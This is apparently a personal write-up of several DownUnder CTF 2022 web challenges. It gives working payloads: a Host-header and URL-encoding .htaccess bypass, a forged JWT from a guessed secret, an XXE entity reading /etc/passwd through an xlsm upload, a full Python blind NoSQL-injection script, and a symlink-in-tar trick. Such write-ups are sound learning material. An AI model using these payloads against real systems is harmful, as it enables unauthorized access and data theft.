DownUnder CTF 2022 writeup
2022-09-26 16:03:32 # Web Security # CTF

DownUnder CTF 2022 writeup

It was the second time I participated in CTF, this time I got 4 challenges solved.

Web

helicoptering (.htaccess bypass)

This challenge is about bypassing the restrictions of .htaccess file.

The first .htaccess file:

1
2
3
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]

Solution: Change the header host to localhost

The second .htaccess file:

1
2
3
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]

Since %{THE_REQUEST} is getting the full HTTP Request Line, like GET /two/flag.txt HTTP/1.1, and it will check if the word flag is in there, we need to encode some charactors using ascii to bypass the restriction.

Solution: Change the request flag.txt to f%6clag.txt (%6c is the ascii of l)

Treasure Hunt( JWT key guess)

This challenge asked us to find out the treasure

On Register page, there’s a Treasures field, which means we would need to find out the treasures field for some account.

After registering an account, I got the JWT token.

1
Set-Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2NDE1NjU0NywianRpIjoiNTMxNDAzMzUtZTA5Yi00NDM3LTgzZjQtM2NkMjcyNTAyMDQ2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6MzksIm5iZiI6MTY2NDE1NjU0NywiZXhwIjoxNjY0MTU3NDQ3fQ.Voo-9ZzfnKfLDoGrXSNHkIqzw2lJ9nKhI2VBvT_uOT0

Using jwo.io:

I spent a lot of time to crack this secret, but I found the secret was onepiece as it mentioned a lot here.

After copying the token, I used it to access the profile page again, it did not give any errors to me.

So, the secret is correct. Then I change the sub field to 1 to generate a new JWT token.

dyslexxec(XXE attack)

According to the name of the challenge, I could guess that it was a challenge related to XXE attack.

Go to upload page, and we can find that we can upload a xlsm file, as there was a xlsm file attached.

1
2
3
@app.route("/upload/testPandasImplementation")
def upload_file():
return render_template("upload.html")

Then I tried to upload this xslm file,

It was actually fetching file information from the xlsm file.

In Dockerfile:

1
RUN echo 'DUCTF{test_flag}:x:1001:1001::/tmp:/bin/false' >> /etc/passwd

So we need to get the flag from /etc/passwd

In app.py, we could see the uploaded file would be unzipped, and a WORKBOOK file was extracted from it,.

1
2
3
4
5
WORKBOOK = "xl/workbook.xml"

def extractWorkbook(filename, outfile="xml"):
with ZipFile(filename, "r") as zip:
zip.extract(WORKBOOK, outfile)

so I rename the file to fizzbuzz.rar and then unzipped it, then we could find the file xl/workbook.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def findInternalFilepath(filename):
try:
prop = None
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)#here's the issue, it allows to resolve entities -> XXE attack is allowed
tree = etree.parse(filename, parser=parser)
root = tree.getroot()
internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")#here trying to find the parent node
if internalNode != None:
prop = {
"Fieldname":"absPath",
"Attribute":internalNode.attrib["url"],
"Value":internalNode.text #it's trying to get value of the tag
}
return prop

except Exception:
print("couldnt extract absPath")
return None

Edit the workbook.xml, add a system entity and put inside the x15ac:absPath tag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<root>
<!- ..... -->
<mc:Choice Requires="x15">
<!-- <x15ac:absPath url="/User/shared" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac" /> -->
<x15ac:absPath url="/User/shared" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac" >
&test;
</x15ac:absPath>
</mc:Choice>
<!- ..... -->
</root>

Again, zip it, and change the suffix to xlsm.

You will see the flag after uploading it.

noteworthy(NoSQL blind SQL injection)

I thought this was a challenge related to prototype pollution :(

1
2
3
4
5
6
7
8
9
10
11
12
13
let admin = await User.findOne({ username: 'admin' })
if(!admin) {
admin = new User({ username: 'admin' })
await admin.save()
}
let note = await Note.findOne({ noteId: 1337 })
if(!note) {
const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
await note.save()
admin.notes.push(note)
await admin.save()
}

Obviously, we need to get the content of Note(id 1337), but it would failed unless we got an admin permission.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.get('/edit', ensureAuthed, async (req, res) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
console.log("no problem with noteId")
const note = await Note.findOne(q)
console.log("no problem with finding Note")

if(!note) {
return res.render('error', { isLoggedIn: true, message: 'Note does not exist!' })
}

if(note.owner.toString() != req.user.userId.toString()) {//here it will check the owner
return res.render('error', { isLoggedIn: true, message: 'You are not the owner of this note!' })
}

res.render('edit', { isLoggedIn: true, noteId: note.noteId, contents: note.contents })
} else {
console.log("Note Id has problem")
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
} catch {
console.log("this is from the exception")
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
})

At least req.query could be leveraged!!

We can set different content to brute force/guessing the content

1
2
3
4
5
6
{
"noteId":1337,
"content":{
"$gt":'a'
}
}

Here’s the solution. Of course, burpsuite intruder is another choice.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from requests import Session
from random import randint
from string import printable

charset = sorted(printable)[6:]


def register_user(username, password):
r = session.post(f'{url}/register', json={'username': username, 'password': password})


# returns True if the note exists
def oracle(q):
r = session.get(f'{url}/edit?noteId=1337&contents[$gt]={q}')
return 'You are not the owner of this note!' in r.text


url = 'https://web-noteworthy-873b7c844f49.2022.ductf.dev'
session = Session()
register_user(f'solve-{randint(1, 10000)}', 'solve')

flag = ''
while flag[-1:] != '}':
l = 0
u = len(charset)
while True:
m = (l + u) // 2

candidate = flag + charset[m]
if oracle(candidate):
if not oracle(flag + charset[m + 1]):
if charset[m + 1] == '}':
flag = flag + charset[m + 1]
else:
flag = candidate
print(flag)
break
l = m - 1
else:
u = m + 1

The website allows us to upload a tar file, and it will extract the file.

The difficulty is that it detects the symlink files and delete all.

How do we bypass it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
post '/' do
unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile])
return err "File not sent"
end
unless tempfile.size <= 10240
return err "File too big"
end

path = SecureRandom.hex 16
unless Dir.mkdir "uploads/#{path}", 0755
return err "Error creating directory"
end
unless system "tar -xvf #{tempfile.path} -C uploads/#{path}"
return err "Error extracting tar file"
end

links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f|
# Don't show . or ..
if [".", ".."].include? File.basename f
false
# Don't show symlinks. Additionally delete them, they may be unsafe
elsif File.symlink? f
File.unlink f
false
# Don't show directories (but show files under them)
elsif File.directory? f
false
# Show everything else
else
true
end
end

return ok links
end

Solution:

Create a random text file(or any other files) for just getting the uploaded path(since the symlink will not be shown on the page)

Create a directory flagDir and in the directory, generate a symlink: ln -s /flag flag -> generate a symlink for /flag

Set up file permission(100 -> read only) for the directory so that it cannot be deleted.

Zip all the files: tar -zcvf flag.tar flagDir/